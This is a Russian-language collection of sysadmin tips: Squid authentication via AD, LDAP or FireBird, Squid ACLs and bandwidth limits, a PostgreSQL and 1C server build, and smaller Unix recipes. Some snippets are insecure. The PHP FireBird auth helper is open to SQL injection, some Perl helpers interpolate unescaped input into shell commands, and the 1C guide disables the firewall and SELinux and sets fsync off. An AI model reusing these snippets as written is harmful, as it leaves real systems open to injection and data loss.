    да, если у тебя нет авторизации, то статистика будет собираться по ip машин.
    только с привилегированными пользователями затык скорее всего будет&#8230;
    попробуй их назначать либо так
    
       $vip_user{"192.168.0.123"}{size}=5;
    
    либо так
    
       $user1="192.168.0.123";
       $vip_user{$user1}{size}=5;
    
     
    ----* Авторизация пользователей по доменным группам AD в squid (доп. ссылка 1)   Автор: Nichls  [комментарии]
     
    В squid.conf
    
    #Здесь описываем внешие ACL
    external_acl_type InetGroup-proxy-08-20ww %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in work week from 08-00 to 20-00
    external_acl_type InetGroup-proxy-08-20aw %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in all week from 08-00 to 20-00
    external_acl_type InetGroup-proxy-00-24all %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in all week from 00-00 to 24-00
    
    # Проверь свои пути
    auth_param ntlm children 20
    auth_param ntlm program /usr/local/samba/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp
    auth_param ntlm max_challenge_reuses 0
    auth_param ntlm max_challenge_lifetime 2 minutes
    
    auth_param basic children 20
    auth_param basic program /usr/local/samba/bin/ntlm_auth --helper-protocol=squid-2.5-basic
    auth_param basic realm Squid proxy-caching web server
    auth_param basic credentialsttl 2 hours
    
    # Говорим, что нужна авторизация
    acl you_domain proxy_auth REQUIRED
    
    # Разграничиваем доступ по времени
    acl work-week time MTWHF 08:00-20:00 #  Доступ с 08-00 до 20-00 с понедельника по пятницу
    acl all-week time SMTWHFA 08:00-20:00 # Доступ с 08-00 до 20-00 всю неделю
    acl all-time time SMTWHFA 00:00-24:00 # Доступ круглосуточно всю неделю
    
    # Осуществляем проверку на принадлежность к нужно группе
    acl InetAccess-proxy-08-20ww external InetGroup-proxy-08-20ww proxy-08-20ww
    acl InetAccess-proxy-08-20aw external InetGroup-proxy-08-20aw proxy-08-20aw
    acl InetAccess-proxy-00-24all external InetGroup-proxy-00-24all proxy-00-24all
    
    # Собираем все в кучу и проверяем на предмет получения дуступа к ИНТЕРНЕТ
    http_access allow you_domain work-week InetAccess-proxy-08-20ww
    http_access allow you_domain all-week InetAccess-proxy-08-20aw
    http_access allow you_domain all-time InetAccess-proxy-00-24all
    
    ----------------------
    
    proxy-08-20ww, proxy-08-20aw, proxy-00-24all - Группы в домене. В них заносишь
    тех юзеров, которым разрешен доступ.
    
    wbinfo_group.pl - Используй именно этот скрипт. В том, что идет в комплекте со
    squid имеется ошибка.
    Здесь она исправлена.
    
    #!/usr/bin/perl -w
    #
    # external_acl helper to Squid to verify NT Domain group
    # membership using /usr/local/samba/bin/wbinfo
    #
    # This program is put in the public domain by Jerry Murdock
    # <jmurdock@itraktech.com>. It is distributed in the hope that it will
    # be useful, but WITHOUT ANY WARRANTY; without even the implied warranty
    # of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
    #
    # Author:
    #   Jerry Murdock <jmurdock@itraktech.com>
    #
    # Version history:
    #   2002-07-05 Jerry Murdock <jmurdock@itraktech.com>
    #               Initial release
    #
    
    # external_acl uses shell style lines in it's protocol
    require 'shellwords.pl';
    
    # Disable output buffering
    $|=1;
    
    sub debug {
            # Uncomment this to enable debugging
            print STDERR "@_\n";
    }
    
    #
    # Check if a user belongs to a group
    #
    sub check {
            local($user, $group) = @_;
            $groupSID = `/usr/local/samba/bin/wbinfo -n "$group"`;
    #        chop  $groupSID;
            # because wbinfo -n also returns the group number
            $groupSID = substr($groupSID,0,index($groupSID," ",0));
            $groupGID = `/usr/local/samba/bin/wbinfo -Y "$groupSID"`;
            chop $groupGID;
    #       &debug( "User:  -$user-\nGroup: -$group-\nSID:   -$groupSID-\nGID:   -$groupGID-");
            return 'OK' if(`/usr/local/samba/bin/wbinfo -r \Q$user\E` =~ /^$groupGID$/m);
            return 'ERR';
    }
    #
    # Main loop
    #
    while (<STDIN>) {
            chop;
            &debug ("Got $_ from squid");
            ($user, $group) = &shellwords;
            $ans = &check($user, $group);
            &debug ("Sending $ans to squid");
            print "$ans\n";
    }
    
    ----------------------------------------------------------------------------------------------------------
    smb.conf
    
    [global]
            workgroup = YOU-DOMAIN
            realm = YOU-DOMAIN.RU
            netbios name = demon
            server string =  Proxy Server
            hosts allow = 10. 127.
            winbind separator = \\ # Обрати на это внимание
            winbind use default domain = yes
            winbind uid = 10000-20000
            winbind gid = 10000-20000
            winbind enum users = yes
            winbind enum groups = yes
            template homedir = /home/winnt/%D/%U
            template shell = /usr/local/bin/bash
            max log size = 50
            security = domain
            password server = srv1 srv3
            encrypt passwords = yes
    
    srv1 и srv3 - PRIMARY and BACKUP контроллеры домена
    
    ----------------------------------------------------------------------------------------------------------
    root@demon#tail -f /usr/local/squid/var/logs/cache.log
    Got YOU-DOMAIN\\user1 proxy-08-20ww from squid
    Sending ERR to squid
    Got YOU-DOMAIN\\user1 proxy-08-20aw from squid
    Sending ERR to squid
    Got YOU-DOMAIN\\user1 proxy-00-24all from squid
    Sending OK to squid
    # Тут явно видно, что пользователя user1 нашли в группе proxy-00-24all и squid'у передано OK
    Got YOU-DOMAIN\\user2 proxy-08-20ww from squid
    Sending OK to squid
    Got YOU-DOMAIN\\user3 proxy-08-20ww from squid
    Sending OK to squid
    
    root@demon#tail -f /usr/local/squid/var/logs/access.log
    1147851551.270     20 10.66.107.56 TCP_IMS_HIT/304 251 GET
    http://img.mail.ru/mail/ru/css/mail-main1.css YOU-DOMAIN\user1 NONE/- text/css
    
    
    Небольшое дополнение:
    
    Информация о членстве в группе хранится в кеше squida (по умолчанию) 1 час, а в
    кеше Winbinda - 300 сек.
     Чтобы не ждать столько времени при перемещении пользователя из одной группы в другую 
    советую добавить в squid.conf при описании внешиx ACL опцию ttl,примерно так:
    
    external_acl_type InetGroup-proxy-08-20ww ttl=0 %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    
    а в smb.conf:
    
    [global]
             winbind cache time = 0
    
     
    ----* Авторизация в squid по группам AD   Автор: boombax  [комментарии]
     
    Возникла необходимость разделять доступ пользователей сквид по группам AD. 
    Утилита wbinfo_group.pl, идущая со сквидом при большом числе запросов валила сквид 
    и были проблемы с кешированием данных. Возникла идея написать скрипт, 
    который через rpc запрос забирал членов необходимых доменных групп и скидывал их в текстовые файлы 
    на сервере, одновременно определяя изменения в них и при необходимости перегружая squid.
    
    #!/usr/bin/perl -w
    
    use Text::Diff;
    
    $login="testlogin";
    $password="secret_password";
    $domain="MYDOMAIN";
    $dc="dc.domain.ru";
    $path="/usr/local/etc/squid/acl";
    $reload_squid_cmd="/usr/local/sbin/squid -k reconfigure";
    @ADgroups = ("inet_users","inet_vip","inet_sluz","inet_block");
    
    foreach $group (@ADgroups)
        {
        @group_check= sort `/usr/local/bin/net rpc group MEMBERS $group -U $login%$password -S $dc`;
        @group_check = grep {/^$domain\\/} @group_check;
        $col=@group_check;   
        my $diff = diff \@group_check,  "$path/$group.acl";
            if ($diff and $col) {
                open (GROUPFILE, ">$path/$group.acl") or die "Can't create $group.acl: $!";
                print GROUPFILE @group_check;
                $reconfigure++;
            }
        close GROUPFILE;
    }
    system("$reload_squid_cmd") if ($reconfigure);
    
    
    Данный скрипт вешается в cron и запускается раз в 5 минут
    
    
    Доработанная версия, изменения:
    
    -поддержка пользователей и групп из доверенных доменов
    -поддержка вложенных груп(т.е групп, содержащих в себе другие группы)
    -возможность указания более одного контроллера домена
    -отправка уведомлений по почте администратору о изменениях в группах
    
    #!/usr/bin/perl -w
    
    use Text::Diff;
    
    $login="mylogin";
    $password="cool_password";
    $samba_prefix="/usr/local";
    $winbind_separator="\\";
    @group_domain = ("DOMAIN1\\inet_users","DOMAIN1\\inet_vip","DOMAIN2\\inet_sluz");
    %domain_dc = (
                'DOMAIN1' => [ 'dc.domain1.ru','bdc.domain1.ru' ],
                'DOMAIN2'  => [ 'ad1.domain2.ru','ad2.domain2.ru' ]
                 );
    $acl_path="/usr/local/etc/squid/acl";
    $reload_squid_cmd="/usr/local/sbin/squid -k reconfigure";
    
    sub IsGroup
    {
        my $item = shift;
        foreach $dc_group (@dc_groups) {
            return 1 if ($item =~ /^\Q$dc_group\E$/i);
        }
    #    print "$item\n";
        return 0;
    }
    
    sub extractusers
    {
        my $group = shift;
        my @group_sostav;
        (my $domain, $group) = split(/\Q$winbind_separator\E/, uc($group), 2);
    #    print "$domain $group\n";
        foreach $dc (@{ $domain_dc{$domain} }) {
    #       print "$dc\n";
            @group_sostav = `$samba_prefix/bin/net rpc group MEMBERS "$group" -U $login%$password -S $dc`;
            chomp(@group_sostav);
            @group_sostav = grep { /^\w+\\.+/i } @group_sostav;
            @group_sostav = grep { !/.+\$$/i } @group_sostav;
    #       print "@group_sostav\n";
            last if @group_sostav;
        }
        foreach my $login (@group_sostav)   {
            $login =~ s/(\w+)\\(.+)/\L$1$winbind_separator$2\E/o;
            my $isgroup = IsGroup($login);
            extractusers($login) if $isgroup;
            push (@users,"$login\n") if !$isgroup;
        }
    }
    
    @dc_groups = `$samba_prefix/bin/wbinfo -g`;
    chomp(@dc_groups);
    
    foreach $group (@group_domain)
    {
        local @users;
        extractusers($group);
        my %Users = ();
        my @unique = sort {uc($a) cmp uc($b)} grep{!$Users{$_}++}@users;
        my $count = @unique;
        my $diff = diff "$acl_path/$group.acl", \@unique;
        if ($diff and $count) {
            print "Internet acl group <$group> change:\n";
            print "$diff\n" if $diff;;
            open (GROUPFILE, ">$acl_path/$group.acl") or die "Can't create $group.acl: $!";
            print GROUPFILE @unique;
            close GROUPFILE;
            $reconfigure++;
        }
    }
    
    system("$reload_squid_cmd") if ($reconfigure);
    
     
    ----* Авторизация в squid через базу данных FireBird   Автор: Constantine A.Yarovoy  [обсудить]
     
    в squid.conf добавляем:
       auth_param basic program /usr/sbin/firebird_auth
       auth_param basic children 5
       auth_param basic realm Proxy
       auth_param basic credentialsttl 2 hours
    
       acl your_net src 10.1.0.0/24
       acl passwd proxy_auth REQUIRED
       http_access allow your_net passwd
       http_access deny all
    
    /usr/sbin/firebird_auth - наш скрипт для проверки
       #!/usr/local/bin/php
       <?
    
            while(1) {
    
                $buf = fgets(STDIN);
                $buf = substr($buf,0,-1);
                $account_data = explode(" ",$buf);
                $link = ibase_connect("10.1.0.200:/var/db/firebird/storage/squid.fdb","SYSDBA","<your_pass>");
    
                $res = ibase_query("SELECT * FROM users WHERE LOGIN = '".
                   $account_data[0]."' AND PASSWD = '".$account_data[1]."'")
    
                $row = ibase_fetch_object($res);
    
                if(isset($row->LOGIN)) { echo "OK\n"; } else { echo "ERR\n"; }
    
                ibase_free_result($res);
    
                ibase_close($link);
    
            }
       ?>
    
    ну и не забудьте сделать табличку users в вашей базе в firebird такого содержания:
    
       ID,LOGIN,PASSWD,FIO..
    
     
    ----* Ограничение доступа по ip назначения в Squid   Автор: Skif (Чижиков Владимир)  [комментарии]
     
    Типичная задача: Разрешить доступ пользователю к списку сетей (например UA-IX)
    и запретить мир, и наоборот, запретить доступ пользователя к списку сетей и разрешить все остальное
    
       acl UAIXLIST            dst "/usr/local/etc/squid/access_list/ua-ix.cfg" #Список сетей
    
       acl host_alfa           src 10.0.38.1 # первый хост
       acl host_luna          src 10.0.38.2 # второй хост
    
    
       http_access allow host_alfa UAIXLIST # Разрешаем доступ к UAIXLIST
    
       http_access deny host_alfa all # Запрещаем ко всему остальному
       http_access deny host_luna UAIXLIST # Запрещаем доступ к UAIXLIST
       http_access allow host_luna all # разрешаем ко всему остальному
    
    В последних двух правилах возможна альтернатива:
       http_access allow host_luna !UAIXLIST
    
    содержимое /usr/local/etc/squid/access_list/ua-ix.cfg
       62.16.0.0/19
       62.64.64.0/18
       62.80.160.0/19
       62.149.0.0/19
       62.221.32.0/24
       62.221.33.0/24
       62.221.34.0/24
       62.221.37.0/24
       ......
    
    Знаки комментариев # нежелательны, возможны ошибки(по крайней мере в
    squid-2.5.x). Повторы сетей из разряда
      62.64.64.0/18 
      62.64.64.0/24 
    вызовут предупреждения о дублировании адресов сетей
    
     
    ----* Фильтрация mime_type на Squid'e   Автор: Дмитрий Загацкий  [обсудить]
     
    Использовался сервер FreeBSD 4.11-p13
    squid/2.5.STABLE9 также тестировалось на squid/2.5.STABLE12 
    
       acl stream rep_mime_type -i ^application/x-mms-framed$
       http_reply_access deny stream
       http_reply_access allow all
    
     
    ----* SQUID в сети SAMBA + LDAP, использование групповых ACL   Автор: Афлетдинов Андрей  [комментарии]
     
    Имеем:
       1. Учетные записи пользователей и групп в LDAP
       2. Поднят домен на SAMBA-3.
    
    На стороне сервера SQUID конфигурируем:
       1. /etc/ldap.conf и /etc/nsswith.conf в результате getent passwd и getent group выдает список пользователей и групп
    
       2. минимальный /etc/smb.conf:
       
          [global]
              workgroup = domain
              netbios name = squid
              load printers = no
              printcap name = /dev/null
              security = domain
              password server = sambaserver
              local master = no
              os level = 33
              domain master = no
              preferred master = no
              wins support = no
              winbind use default domain = yes
              winbind cache time = 1200
    
       3. Заводим в домен net -Uadministrator join
    
       4. Запускаем winbind, но при этом в /etc/nsswith.conf его _не_прописываем_
    
       5. разрешаем чтение pipe winbindd процессу squid любым доступным способом, 
           например: setfacl -g:squid:rx /var/lib/samba/winbindd_privileged
    
       6. samba в дальнейшем не нужна
    
       7. далее в squid.conf:
    
          # стандартные опции авторизации
          auth_param ntlm program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp
          auth_param ntlm children 5
          auth_param ntlm max_challenge_reuses 0
          auth_param ntlm max_challenge_lifetime 2 minutes
          auth_param ntlm use_ntlm_negotiate off
          auth_param basic program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-basic
          auth_param basic children 5
          auth_param basic realm Squid proxy-caching web server
          auth_param basic credentialsttl 2 hours
          auth_param basic casesensitive off
    
          # авторизация обязательна
          acl NTLMauth proxy_auth REQUIRED
    
          # определяем типы ACL
          external_acl_type type_ldap_group1 ttl=60 children=1 %LOGIN 
               /usr/lib/squid/   squid_ldap_group.pl -b "cn=group1,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
          external_acl_type type_ldap_group2 ttl=60 children=1 %LOGIN 
              /usr/lib/squid/squid_ldap_group.pl -b "cn=group2,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
          external_acl_type type_ldap_group3 ttl=60 children=1 %LOGIN 
              /usr/lib/squid/squid_ldap_group.pl -b "cn=group3,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
    
          # и сами ACL
          acl acl_group1 external type_ldap_group1
          acl acl_group2 external type_ldap_group2
          acl acl_group3 external type_ldap_group3
    
    ВСЕ. Дальше с ними можно работать как с обычными ACL, начиная от простого
         http_access allow acl_group1
    и заканчивая в вариантах пула и по времени.
    
    При изменении информации в группе LDAP, squid примет изменения только через
    время определенное в ttl, таким образом перезапускать его как -kreconfigure нет
    необходимости, что уже плюс!
    
    Да вот еще, сам скрипт /usr/lib/squid/squid_ldap_group.pl очень прост:
    
    #!/usr/bin/perl
    #
    # squid ldap group
    # mailto:afletdinov\@dc.baikal.ru
    #
    
    use Getopt::Long qw(:config no_ignore_case);
    use Net::LDAP;
    use strict;
    
    # const
    my $VERSION = '20051122';
    
    # variables
    my $ldap;
    my $user;
    my $result;
    #my $pass;
    
    my $opt_groupdn = '';
    my $opt_binddn = '';
    my $opt_bindpasswd = '';
    my $opt_secretfile = '';
    my $opt_uri = '';
    
    GetOptions(
                'b=s' => \$opt_groupdn,
                'D=s' => \$opt_binddn,
                'w=s' => \$opt_bindpasswd,
                'W=s' => \$opt_secretfile,
                'H=s' => \$opt_uri );
    
    # check: requires param
    &usage unless($opt_groupdn and $opt_uri);
    
    #connect
    $ldap = Net::LDAP->new($opt_uri) or die("connect $opt_uri failed!");
    
    # bind
    if($opt_binddn){
    
        # check: secretfile
        if($opt_secretfile){
            open(FILE, "<$opt_secretfile") or die("error read $opt_secretfile");
            $opt_bindpasswd = <FILE>;
            close(FILE); }
    
        $result = $ldap->bind($opt_binddn, password=>$opt_bindpasswd);
    
    # anonymous bind
    }else{ $result = $ldap->bind(); }
    
    $result->code and die($result->error);
    
    # use buffers off
    $| = 1;
    
    # BASIC
        while(<STDIN>){
            chomp;
    
            # format: user password
            unless(/^(\S+)\s*(\S*)$/){ print "ERR\n"; next; }
    
            $user = $1;
            #$pass = $2;
    
            # check: valid group
            $result = $ldap->search(base=>$opt_groupdn, , filter=>"(memberUid=$user)");
    
            # not found
            unless($result->count){ print "ERR\n"; next; }
    
            # auth: OK group: OK
            print "OK\n";
        }
    
    exit;
    
    sub usage(){
        print <<EOF;
    squid_ldap_group.pl version $VERSION
    
    Usage: squid_ldap_group.pl -b "cn=www-access,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
    
            -b GroupBaseDN    (REQUIRED)
            -H LdapURI        (REQUIRED)
            -D BindDN     
            -w BindPasswd
            -W SecretFile
    
    EOF
        exit;
    }
    
     
    ----* Как запретить выкачивание .mp3 файлов через прокси-сервер Squid.   [комментарии]
     
    acl stop_files url_regex -i ftp \.exe \.mp3 \.vqf \.tar\.gz \.gz \.rpm \.zip
                               \.rar \.avi \.mpeg \.mpe \.mpg \.qt \.ram \.rm \.iso \.raw \.wav \.mov
    acl stop_files rep_mime_type application audio video
    http_access deny stop_files
    
     
    ----* Как запретить работу через Squid пользователей с определенных MAC адресов.   [комментарии]
     
    Squid должен быть собран с ./configure --enable-arp-acl 
    Далее в файле прописываем ACL'и формата:
         acl aclname arp mac_address
    Например:
       acl test1 arp 11:43:67:F5:65:23
       http_access allow test1
       http_access deny all
    
     
    ----* Как ограничить пропускную способность 128 Kbps на каждый IP ?   [комментарии]
     
     acl only128kusers src 192.168.1.0/255.255.192.0
            acl all src 0.0.0.0/0.0.0.0
            delay_pools 1
            delay_class 1 3
            delay_access 1 allow only128kusers
            delay_access 1 deny all
            delay_parameters 1 64000/64000 -1/-1 16000/64000
    
     
    ----* Как органичить общую пропускную способность Squid в 512 Kbps ?   [обсудить]
     
    При сборке не забыть configure --enable-delay-pools
    В файле конфигурации:
    acl all src 0.0.0.0/0.0.0.0         
            delay_pools 1
            delay_class 1 1
            delay_access 1 allow all
            delay_parameters 1 64000/64000          # 512 kbits == 64 kbytes per second
    
     
    ----* Как ограничить число соединений от одного пользователя в Squid и Oops   [комментарии]
     
    Для Squid прописать ACL вида:
    	acl имя_acl'я maxconn ограничения_в_N_соединений
    Для Oops:
    	per_ip_conn   число_соединений;
    
     

       Система

    ----* Опыт настройки связки PostgreSQL и 1С в Oracle Linux (доп. ссылка 1)   Автор: alexpn  [комментарии]
     
    Потребовалось сделать сервер 1С для чего была выбрана связка OracleLinux 6.1 +
    1C82 (8.2.14.519) + Postgres 9.0.4.
    
    Собрал следующее железо для тестов:
    
       MB: Asus P5
       CPU : Intel(R) Pentium(R) D CPU 3.20GHz 2 ядра
       MEM : 8G
       HDD : 1x160G 7200 (старый нового не нашлось)
    
    hdparm -Tt /dev/sda
    /dev/sda:
     Timing cached reads:   2670 MB in  2.00 seconds = 1335.62 MB/sec
     Timing buffered disk reads:  220 MB in  3.00 seconds =  73.30 MB/sec
    
    При установке выделил под SWAP 10G, остальное под корень, получилось что-то вроде:
    
       /dev/sda1   *           1       18152   145803264   83  Linux
       /dev/sda2           18152       19458    10484736   82  Linux своп / Solaris
    
    ставил все без LVM, разбивка руками. Выбрал минимальную установку
    
    Прицепил RPM-репозитории:
    
       cd /etc/yum.repos.d
       touch public-yum-ol6.repo
    
    добавил в файл public-yum-ol6.repo:
    
       [ol6_ga_base]
       name=Oracle Linux 6 GA - $basearch - base
       baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/0/base/$basearch/
       gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
       gpgcheck=1
       enabled=1
    
       [ol6_u1_base]
       name=Oracle Linux 6 U1 - $basearch - base
       baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/1/base/$basearch/
       gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
       gpgcheck=1
       enabled=1
    
    затем все как обычно
    
       yum update
    
    итак что видим ....
    если верить описанию система очень быстрая, некоторые прогнозируют прирост аж 110 процентов.
    смотрим что есть по дефолту
    
    cat /etc/sysctl.conf
    
       # Kernel sysctl configuration file for Red Hat Linux
       # Controls IP packet forwarding
       net.ipv4.ip_forward = 0
    
       # Controls source route verification
       net.ipv4.conf.default.rp_filter = 1
    
       # Do not accept source routing
       net.ipv4.conf.default.accept_source_route = 0
    
       # Controls the System Request debugging functionality of the kernel
       kernel.sysrq = 0
    
       # Controls whether core dumps will append the PID to the core filename.
       # Useful for debugging multi-threaded applications.
       kernel.core_uses_pid = 1
    
       # Controls the use of TCP syncookies
       net.ipv4.tcp_syncookies = 1
    
       # Disable netfilter on bridges.
       net.bridge.bridge-nf-call-ip6tables = 0
       net.bridge.bridge-nf-call-iptables = 0
       net.bridge.bridge-nf-call-arptables = 0
    
       # Controls the maximum size of a message, in bytes
       kernel.msgmnb = 65536
    
       # Controls the default maxmimum size of a mesage queue
       kernel.msgmax = 65536
    
       # Controls the maximum shared segment size, in bytes
       kernel.shmmax = 68719476736
    
       # Controls the maximum number of shared memory segments, in pages
       kernel.shmall = 4294967296
       vm.overcommit_memory=2
    
    неплохо
    добавим на всякий случай
    
       kernel.panic=5
       kernel.panic_on_oops=5
       kernel.panic_on_io_nmi=5
       kernel.panic_on_unrecovered_nmi=5
    
    отключим все ненужное .... взламывать сервер некому, он будет сугубо локальным.
    
       chkconfig ip6tables off
       chkconfig iptables off
       chkconfig netfs off
       chkconfig postfix off
       chkconfig saslauthd off
    
    затем отключим SELinux, так как с ним не работает 1C.
    
    vi /etc/selinux/config
    
       SELINUX=disabled
    
    и reboot
    
    Приступим к настройке 1C и PostgreSQL. Прочитал  статью
    http://www.alsigned.ru/?p=1129 про установку 1С 8.2 в связке с Postgresql 9.0.
    Сделал все как в статье, единственно подменил в конфигурации PostgreSQL 9.0.4 и
    патчи взял для версии 9.0.3 (http://v8.1c.ru/overview/postgres_patches_notes.htm).
    
    Краткое изложение процесса:
    
    Загружаем необходимые пакеты:
       yum install rpm-build gcc make glibc-devel bison flex python-devel tcl-devel readline-devel \
          zlib-devel openssl-devel  krb5-devel  e2fsprogs-devel gettext pam-devel openldap-devel icu libicu libicu-devel
    
    Патчим PostgreSQL
       wget http://v8.1c.ru/overview/postgresql_patches/9-0-4/postgresql-9.0.4-1.1C.src.rpm
       rpm -i postgresql-9.0.4-1.1C.src.rpm
    
    В файле /usr/lib/rpm/macros в параметре %_default_patch_fuzz заменяем 0 на 2.
    В файле /root/rpmbuild/SOURCES/postgresql.init прописываем:
    
       PGENGINE=/usr/pgsql/bin
       PGDATA=/var/lib/pgsql/data
       PGLOG=/var/lib/pgsql/pgstartup.log
    
    В spec-файле /root/rpmbuild/SPECS/postgresql-9.0-4C.spec меняем  postgresql-9.0
    на postgresql, получится примерно так:
    
       525 chkconfig --add postgresql
       530 sbin/service postgresql condstop >/dev/null 2>&1
       531 chkconfig --del postgresql
       537 /sbin/service postgresql condrestart >/dev/null 2>&1
    
    Собираем пакет с пропатченным PostgreSQL:
        rpmbuild -ba --define 'runselftest 0' /root/rpmbuild/SPECS/postgresql-9.0-4C.spec
    
    Устанавливаем пакет:
       rpm -i /root/rpmbuild/RPMS/x86_64/*.rpm
    
    Инициализируем БД:
    
        su postgres
       /usr/pgsql/bin/initdb -D /var/lib/pgsql/data --locale=ru_RU.UTF-8
    
    Запускаем postgresql:
    
       service postgresql start
    
    Устанавливаем 1С:
    
    
    Указываем имя хоста в /etc/hosts (имя должно совпадать с именем HOSTNAME,
    указанным в файле /etc/sysconfig/network):
    
    127.0.0.1       localhost 1csrv 1csrv.mydomain.local
    192.168.1.1     1csrv 1csrv.mydomain.local
    
    
    Устанавливаем пакеты с 1С:
    
       rpm -i 1C_Enterprise82-common-8.2.13-205.x86_64.rpm 1C_Enterprise82-server-8.2.13-205.x86_64.rpm \
          1C_Enterprise82-ws-8.2.13-205.x86_64.rpm 1C_Enterprise82-common-nls-8.2.13-205.x86_64.rpm \
          1C_Enterprise82-server-nls-8.2.13-205.x86_64.rpm 1C_Enterprise82-ws-nls-8.2.13-205.x86_64.rpm 
    
    далее активируем сервисы 1c и postgresql:
    
       chkconfig srv1cv82 on
       chkconfig postgresql on
    
    В .bash_profile правим "PGDATA=/var/lib/pgsql9/data" на "PGDATA=/var/lib/pgsql/data".
    
    Далее запустил 1С-клиента, создал базу TEST и запустил тест Гилева (gilev.ru)
    ...ждал минут 20 !!!! набрал 9.1 !!! балов явно мало для комфортной работы.
    Гилев рекомендует включить блокировки вручную .... что и делаем через конфигуратор
    снова тест ..... уже 14 баллов.
    
    Пробуем  оптимизировать postgresql.conf:
    
       shared_buffers = 1024MB                 # min 128kB
       work_mem = 400MB                                # min 64kB
       maintenance_work_mem = 2048MB           # min 1MB
       fsync = off                             # turns forced   synchronization on or off
       wal_sync_method = fdatasync             # the default is the first option
       commit_delay = 50                       # range 0-100000, in microseconds
       commit_siblings = 7                     # range 1-1000
       cpu_tuple_cost = 0.001                  # same scale as above
       cpu_index_tuple_cost = 0.0005           # same scale as above
       effective_cache_size = 4096MB
    
    далее
    
       /etc/init.d/postgresql restart
       /etc/init.d/srv1cv82 restart
    
    Следующее тестирование показало 20.4 баллов.... неплохой результат.
    Поставил две конфигурации кадрыКОРП  + бухгалтерияКОПРП. В конфигураторе сменил
    блокировки на управляемый режим блокировок.
    
    Написал скрипт для чистки логов и бекапа БД и поместил его в cron:
    
       #!/bin/bash
    
       set +x
    
       /bin/rm -rf /backups/1c/*.log
       /bin/touch /backups/1c/1c8_bkp.log
    
       BKPDIR=/backups/1c
    
       TIME=`date +%d-%m-%Y_%H:%M:%S`  # год,месяц,день,часы,минуты
       DATE_ARC=`date +%d%m%Y`
    
       LOG=/backups/1c/1c8_bkp.log
    
       dl() {
         $* >> $LOG 2>&1
       }
    
       dl echo $TIME
       
       dl /etc/init.d/srv1cv82 stop
       dl /bin/sleep 10
    
    
       /bin/find /backups/1c -type f -mtime +1 -print | /usr/bin/xargs  /bin/rm -f
       /bin/find /var/lib/pgsql/data/pg_log/ -type f -mtime +1 -print |  /usr/bin/xargs /bin/rm -f
    
       /usr/pgsql/bin/pg_dump -U postgres -Fc -Z9 -c -f /backups/1c/buh.$DATE_ARC.sql buh
       /usr/pgsql/bin/pg_dump -U postgres -Fc -Z9 -c -f /backups/1c/hrm.$DATE_ARC.sql hrm
       /usr/pgsql/bin/pg_dump -U postgres -Fc -Z9 -c -f /backups/1c/test.$DATE_ARC.sql test
    
       dl echo $TIME
       dl /etc/init.d/srv1cv82 start
    
    Вот пожалуй и все
    
     
    ----* Удаление zombie процессов в Solaris (доп. ссылка 1)   [комментарии]
     
    Нередко из-за отсутствия обработчика сигнала SIGCHLD в родительском процессе, 
    после завершения дочерней программы, остаются "<defunct>" или zombie процессы. 
    Zombie процессы не занимают системные ресурсы, кроме записи в таблице процессов, 
    что может вызвать ее переполнение и как следствие блокировку запуска новых процессов, 
    при большой интенсивности появления zombie. Zombie исчезают после завершения работы 
    родительского процесса, но записи в таблице также можно очистить принудительным путем.
    
    Получаем список zombie процессов:
    
        ps -ecl |grep "Z"
        F S  UID  PID  PPID  CLS PRI  ADDR  SZ  WCHAN TTY  TIME CMD
        0 Z  100 27841 27840   -   0     -   0  -     ?    0:00 <defunct>
    
    "kill" и "kill -9" в случае zombie использовать бесполезно. В Solaris для эмуляции вызова wait() 
    для чтения кода возврата из таблицы процессов существует утилита preap:
    
        preap 27841
        27841: exited with status 0
    
     
    ----* Установка летнего (декретного) времени для оборудования Linksys (доп. ссылка 1)   Автор: Romik  [комментарии]
     
    Daylight Saving Time Rule на закладке Regional у SPA9хх, PAP2 и пр. в России устанавливается в 
    
       start=3/-1/5/02:0:0;end=10/-1/4/02:0:0;save=1
    
    Time Zone GMT +03:00 (в Москве), и указываются работающие NTP сервера.
    Вышеприведенная строка прибавляет 1 час к времени с 02:00 последнего воскресенья марта, 
    и перестает его добавлять в 02:00 в последнее воскресенье октября.
    
     
    ----* Восстановление потерянных из-за сбоя в браузере данных (доп. ссылка 1)   Автор: sysadmin.online  [комментарии]
     
    Если набитые данные в форме случайно необратимо потеряны, например, в Opera или
    Firefox ошибочный клик
    может привести с загрузке нового URL в текущем окне с невозможностью возврата к предыдущему, 
    можно попытаться их восстановить следующим образом.
    
    Находим PID процесса:
    
       ps aux | grep firefox-bin
       ps aux | grep opera
    
    Делаем дамп:
    
      gdb -p 2408
      (gdb) gcore
    
    Ищем текст:
    
       strings core.* | less
    
    Если браузер рухнул, то данные можно попробовать найти в /dev/mem, например:
    
       dd if=/dev/mem of=./mem.dump
       strings ./mem.dump > mem.txt
       
       
    
     
    ----* Скрипт автозагрузки программы с помощью screen (FreeBSD) (доп. ссылка 1)   Автор: denz  [комментарии]
     
    Скрипт запуска и остановки игрового сервера Call of Duty: United Offence 1.51
    
    #!/bin/sh
    # Zapusk Call of Duty (Game server)
    GAMESDIR=/home/games/coduo
    export GAMESDIR
    cd $GAMESDIR
    case "$1" in
        start)
            /usr/local/bin/screen -dm ./coduo_lnxded +set fs_homepath $GAMESDIR \
              +set scr_motd +exec coduo.cfg +exec awe.cfg
            echo "Starting Call of Duty:United Offence 1.51 Server"
    ;;
        stop)
            pid=$(ps -ax|grep coduo_lnxded|grep -v grep | awk '{print $1}')
            kill ${pid} > /dev/null 2>&1
    ;;
        *)
            echo "Используй: `basename $0` { start | stop }"
            exit 64
    ;;
    esac
    
    
    Запускается так: ./etotscript.sh start
    останавливается: ./etotscript.sh stop
    
     
    ----* mgetty и подвисание после прозвона голосом   Автор: Vladimir V. Kamarzin  [комментарии]
     
